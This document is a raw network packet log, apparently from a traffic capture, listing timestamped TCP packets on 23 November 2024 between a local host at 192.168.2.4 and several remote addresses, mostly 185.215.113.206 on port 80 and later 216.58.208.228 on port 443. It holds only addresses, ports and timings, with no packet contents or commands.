Nov 23, 2024 17:44:16.772615910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.773369074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.773418903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.773639917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.773689032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.773768902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.773818016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.774619102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.774667025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.774832964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.774880886 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.775729895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.775779009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.775855064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.775898933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.776679039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.776731968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.920690060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.920783997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.920867920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.920917988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.921020031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.921066999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.921255112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.921304941 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.921348095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.921400070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.922209978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.922261953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.922297955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.922347069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.923089027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.923137903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.937275887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.937338114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.937357903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.937407017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.937674999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.937726021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.937756062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.937799931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.938553095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.938643932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.938652992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.938698053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.939496994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.939552069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.939588070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.939630032 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.940407991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.940454006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.940511942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.940556049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.941340923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.941399097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.941412926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.941454887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.942282915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.942333937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.942378044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.942424059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.943219900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.943273067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.943339109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.943397045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.944161892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.944214106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.944251060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.944299936 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.945084095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.945138931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.945180893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.945229053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.946012974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.946064949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.946078062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.946121931 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.946945906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.947000027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.947069883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.947119951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.947959900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.948009968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.948014975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.948046923 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.948901892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.948956013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.948964119 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.949007988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.949789047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.949841022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.949901104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.949949026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.951033115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.951080084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.951086998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.951121092 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.951611042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.951723099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.951734066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.951762915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.952542067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.952617884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.952658892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.952709913 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.953474045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.953607082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.953632116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.953691006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.954431057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.954488993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.954634905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.954690933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.955478907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.955548048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.955634117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.955688953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.956300020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.956372976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.956391096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.956440926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.957210064 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.957262039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.957303047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.957376957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.958169937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.958226919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.958261967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.958307028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.959158897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.959214926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.959235907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.959285975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.960016012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.960072041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.960105896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.960155964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.960944891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.961000919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.961041927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.961091042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.961884022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.961934090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.961951017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.961996078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.962800980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.962882042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.962925911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.962982893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.963733912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.963799000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.963857889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.963917971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.964643002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.964698076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.964749098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.964796066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.965584993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.965637922 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.965724945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.965774059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.966522932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.966583014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.966654062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.966707945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.967466116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.967530012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.967557907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.967609882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.968420029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.968487024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.968516111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.968575001 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.969321966 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.969383001 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.969422102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.969515085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.970253944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.970315933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.970464945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.970520973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.971185923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.971244097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.971282005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.971348047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.972098112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.972161055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.972208023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.972347021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.973081112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.973139048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.973155975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.973203897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.974020958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.974078894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.974117041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.974165916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.974911928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.974956989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.975025892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.975075006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.975847960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.975923061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.975955963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.976013899 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.976747036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.976813078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.984333992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.984394073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.984405994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.984457970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.984729052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.984782934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.984841108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.984888077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.985496044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.985555887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.985585928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.985634089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.986397028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.986435890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.986459017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.986480951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.986905098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.986958981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.986983061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.987030983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.987468004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.987519026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.987545967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.987586975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.988398075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.988486052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.988570929 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.988620996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.989419937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.989454985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:16.989479065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:16.989492893 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.236069918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.236164093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.236176014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.236207008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.236603022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.236661911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.236704111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.236748934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.237555027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.237617016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.237658024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.237713099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.238367081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.238425016 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.249547958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.249608040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.249630928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.249686003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.249773026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.249826908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.249864101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.249908924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.250675917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.250735044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.250794888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.250847101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.251640081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.251692057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.251748085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.251801014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.252552986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.252609968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.252650976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.252698898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.253484011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.253555059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.253592968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.253643036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.254411936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.254470110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.254518986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.254565954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.255363941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.255423069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.255502939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.255556107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.256288052 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.256342888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.256395102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.256449938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.257236004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.257285118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.257340908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.257389069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.258157969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.258213043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.258255005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.258307934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.259192944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.259251118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.259301901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.259366989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:17.259989023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:17.260037899 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:20.215132952 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.215187073 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:20.215256929 CET	49734	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.215267897 CET	443	49734	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:20.215337992 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.215353966 CET	49734	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.215492010 CET	49735	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.215506077 CET	443	49735	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:20.215523958 CET	49736	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.215562105 CET	49735	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.215603113 CET	443	49736	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:20.215657949 CET	49736	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.215708971 CET	49734	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.215722084 CET	443	49734	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:20.215869904 CET	49733	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.215889931 CET	443	49733	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:20.216202021 CET	49735	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.216217041 CET	443	49735	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:20.216336012 CET	49736	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:20.216363907 CET	443	49736	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:20.533596992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:20.533663034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:21.840202093 CET	49672	443	192.168.2.4	173.222.162.32
Nov 23, 2024 17:44:21.840260983 CET	443	49672	173.222.162.32	192.168.2.4
Nov 23, 2024 17:44:22.406950951 CET	443	49736	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.407351971 CET	49736	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.407407999 CET	443	49736	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.408535004 CET	443	49736	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.408617020 CET	49736	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.410278082 CET	49736	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.410341978 CET	443	49736	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.410684109 CET	49736	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.410700083 CET	443	49736	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.445305109 CET	443	49735	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.445557117 CET	49735	443	192.168.2.4	216.58.208.228
Nov 23, 2024 17:44:22.445573092 CET	443	49735	216.58.208.228	192.168.2.4
Nov 23, 2024 17:44:22.447156906 CET	443	49735	216.58.208.228	192.168.2.4
